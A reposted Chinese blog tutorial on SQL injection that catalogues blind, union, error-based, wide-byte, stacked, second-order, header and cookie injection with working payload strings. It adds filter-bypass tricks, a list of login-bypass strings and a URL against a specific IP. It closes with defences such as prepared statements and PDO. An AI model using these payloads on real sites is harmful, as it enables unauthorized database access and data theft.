主頁 >  其他 > (一)SQL注入

(一)SQL注入

2021-04-01 18:05:59 其他

SQL注入的分類

Boolean盲注

Boolean型的注入意思就是頁面回傳的結果是Boolean型的,通過構造SQL判斷陳述句,查看頁面的回傳結果是否報錯,頁面回傳是否正常等來判斷哪些SQL判斷條件時成立的,通過此來獲取資料庫中的資料,

id=1' and length(database())>=8--+

Union注入

當應用程式容易受到 SQL 注入攻擊,并且查詢結果在應用程式的回應中回傳時,可使用 UNION 關鍵字從資料庫的其他表檢索資料,這就導致了 UNION 注入攻擊,

SELECT a, b FROM table1 UNION SELECT c, d FROM table2

檔案讀寫

SQL注入讀寫檔案的根本條件:

  1. 資料庫允許匯入匯出(secure_file_priv)

  1. 當前用戶用戶檔案操作權限(File_priv)

報錯注入{ floor報錯注入

floor:對任意的正或者負十進制值向下取整;通常利用這兩個函式(group by)的方法是floor(rand(0))*2 ,其會生成0和1兩個數

        爆資料庫名:'union select 1 from (select count(*),concat((select database())," ",floor(rand(0)*2))x from information_schema.tables group by x)a

爆表名:'union select 1 from (select count(),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ," ",floor(rand(0)2))x from information_schema.tables group by x)a 爆列名:'union select 1 from (select count(),concat((select column_name from information_schema.columns where table_name="TABLE_NAME" limit 0,1) ," ",floor(rand(0)2))x from information_schema.tables group by x)a 爆資料:'union select 1 from (select count(),concat((select COLUMN_NAME from TABLE_NAME limit 0,1) ," ",floor(rand(0)2))x from information_schema.tables group by x)a

ExtractValue報錯注入:

    函式原型:extractvalue(xml_document,Xpath_string)

正常語法:extractvalue(xml_document,Xpath_string); 第一個引數:xml_document是string格式,為xml檔案物件的名稱 第二個引數:Xpath_string是xpath格式的字串 作用:從目標xml中回傳包含所查詢值的字串

第二個引數是要求符合xpath語法的字串,如果不滿足要求,則會報錯,并且將查詢結果放在報錯資訊里,因此可以利用,

爆資料庫名:id='and(select extractvalue(1,concat('~',(select database()))))

爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))) 爆欄位名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME")))) 爆資料:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))

UpdataXml報錯注入

        函式原型:updatexml(xml_document,xpath_string,new_value)

正常語法:updatexml(xml_document,xpath_string,new_value) 第一個引數:xml_document是string格式,為xml檔案物件的名稱 第二個引數:xpath_string是xpath格 式的字串 第三個引數:new_value是string格式,替換查找到的負荷條件的資料 作用:改變檔案中符合條件的節點的值

第二個引數跟extractvalue函式的第二個引數一樣,因此也可以利用,且利用方式相同

        爆資料庫名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))

爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e)) 爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e)) 爆資料:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))

} 時間盲注

時間盲注出現的本質原因也是由于服務器拼接了SQL陳述句,但是正確和錯誤存在同樣的回顯,所以根據頁面回應時間來判斷結果,

' and if(1=0,1, sleep(10)) --+ ,若為真時延時,則

爆資料庫 ' and if(ascii(substr(database(),1,1))>95,sleep(6),1)%23(二分法猜解資料庫名每一個資料,最好先爆資料庫長度)

REGEXP正則匹配(盲注值正則運算式攻擊)

應該場景就是盲注,原理就是直接查詢自己需要的資料,然后通過正則運算式進行匹配,實用場景如下:

and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="security" AND table_name REGEXP '^[a-z]' LIMIT 0,1) 

寬位元組注入

GBK 占用兩位元組,ASCII占用一位元組

PHP中編碼為GBK,函式執行添加的是ASCII編碼(添加的符號為“\”),MYSQL默認字符集是GBK等寬位元組字符集,

大家都知道%df’ 被PHP轉義(開啟GPC、用addslashes函式,或者icov等),單引號被加上反斜杠\,變成了 %df\’,其中\的十六進制是 %5C ,那么現在 %df\’ =%df%5c%27,如果程式的默認字符集是GBK等寬位元組字符集,則MySQL用GBK的編碼時,會認為 %df%5c 是一個寬字符,也就是縗,也就是說:%df\’ = %df%5c%27=縗’,有了單引號就好注入了,

http://103.238.227.13:10083/index.php?id=%df%27 union select 1,2%23

堆疊注入

在SQL陳述句中,陳述句的結束都是以結尾,但是如果我們在后面再加上一條SQL陳述句,兩條陳述句會一起執行嗎?這也就是造成堆疊注入的原因了,例:select * from users;DELETE FROM test

二次注入

攻擊者構造的惡意資料存盤在資料庫后,惡意資料被讀取并進入到SQL查詢陳述句所導致的注入,防御者可能在用戶輸入惡意資料時對其中的特殊字符進行了轉義處理,但在惡意資料插入到資料庫時被處理的資料又被還原并存盤在資料庫中,當Web程式呼叫存盤在資料庫中的惡意資料并執行SQL查詢時,就發生了SQL二次注入,

第一步:插入惡意資料 進行資料庫插入資料時,對其中的特殊字符進行了轉義處理,在寫入資料庫的時候又保留了原來的資料,

第二步:參考惡意資料 開發者默認存入資料庫的資料都是安全的,在進行查詢時,直接從資料庫中取出惡意資料,沒有進行進一步的檢驗的處理,

img

User-Agent注入

Mozilla/5.0 (compatible; MSIE 11.0; Windows NT 6.1; Win64; x64; Trident/5.0)'+(select*from(select(sleep(20)))a)+;攻擊者卻將 SQL 查詢陳述句 select * from (select(sleep(20))) 隱藏在了 HTTP 頭部的 User-Agent 欄位之中

Cookie注入

1.尋找形如“.asp?id=xx”類的帶引數的URL,

2.去掉“id=xx”查看頁面顯示是否正常,如果不正常,說明引數在資料傳遞中是直接起作用的,

3.清空瀏覽器地址欄,輸入“javascript:alert(document.cookie="id="+escape("xx"));”,按Enter鍵后彈出一個對話框,內容是“id=xx”,然后用原來的URL重繪頁面,如果顯示正常,說明應用使用Request("id")這種方式獲取資料的,

4.重復上面的步驟,將常規SQL注入中的判斷陳述句帶入上面的URL:“javascript:alert(document.cookie="id="+escape("xx and 1=1"));” “javascript:alert(document.cookie="id="+escape("xx and 1=2"));”,和常規SQL注入一樣,如果分別回傳正常和不正常頁面,則說明該應用存在注入漏洞,并可以進行cookie注入,

5.使用常規注入陳述句進行注入即可,

過濾繞過

1、過濾關鍵字

過濾如select、or、from等的關鍵字,則可以采用穿插關鍵字進行繞過操作,如 select ---- selselectect;or ----oorr;union ---- uniunionon,也可以通過大小寫轉換,如select --- SeLect,十六進制過濾 select --- selec\x74等等,

2、過濾空格

注釋:#;--;//,

URL編碼:空格編碼%20,則 %20 ---- %2520

3、過濾單引號

4、繞過相等過濾

萬能密碼

'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a 密碼隨便
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*
1'or'1'='1

SQL注入的預防

預編譯

預編譯可以防止sql注入的原因:進行預編譯之后,sql陳述句已經被資料庫分析,編譯和優化了,并且允許資料庫以引數化的形式進行查詢,所以即使有敏感字符資料庫也會當做屬性值來處理而不是sql指令了

conn.prepareStatement(sql);

因為SQL陳述句在程式運行前已經進行了預編譯,在程式運行時第一次操作資料庫之前,SQL陳述句已經被資料庫分析,編譯和優化,對應的執行計劃也會快取下來并允許資料庫以引數化的形式進行查詢,當運行時動態地把引數傳給PreprareStatement時,即使引數里有敏感字符如 or '1=1'也資料庫會作為一個引數一個欄位的屬性值來處理而不會作為一個SQL指令,如此,就起到了防御SQL注入的作用了!

PDO

$dbh = new PDO('mysql:dbname=dbtest;host=127.0.0.1;charset=utf8', 'user', 'pass');
$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

setAttribute()這一行是強制性的,它會告訴 PDO 禁用模擬預處理陳述句,并使用 real parepared statements ,這可以確保SQL陳述句和相應的值在傳遞到mysql服務器之前是不會被PHP決議的(禁止了所有可能的惡意SQL注入攻擊),

正則運算式過濾

function clean($str)
{
 $str=trim($str);
 $str=strip_tags($str);
 $str=stripslashes($str);
 $str=addslashes($str);
 $str=rawurldecode($str);
 $str=quotemeta($str);
 $str=htmlspecialchars($str);
 $str=preg_replace("//+|/*|/`|//|/-|/$|/#|/^|/!|/@|/%|/&|/~|/^|/[|/]|/'|/"/", "", $str);//去除特殊符號+*`/-$#^~!@#$%&[]'"
 $str=preg_replace("//s/", "", $str);//去除空格、換行符、制表符
 return $str;
}

 

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/270670.html

標籤:其他

上一篇:內網小組 | 埠轉發 全劇終

下一篇:從WebShell到域控實戰詳解

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more